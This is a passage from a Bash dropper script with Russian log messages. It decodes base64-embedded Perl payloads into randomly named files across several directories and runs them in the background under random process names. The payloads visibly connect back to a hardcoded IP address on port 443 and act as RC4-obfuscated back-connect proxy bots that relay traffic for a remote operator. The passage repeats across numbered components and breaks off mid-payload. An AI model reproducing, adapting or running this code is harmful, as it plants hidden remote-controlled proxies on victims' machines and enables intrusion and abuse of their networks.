ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #25 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #25 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 26 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNDYnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #26 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #26 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 27 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNDcnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs 